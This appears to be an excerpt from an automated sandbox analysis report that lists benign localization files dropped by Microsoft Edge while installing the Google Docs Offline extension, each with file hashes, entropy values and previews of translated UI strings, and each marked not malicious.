Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\uk\messages.json

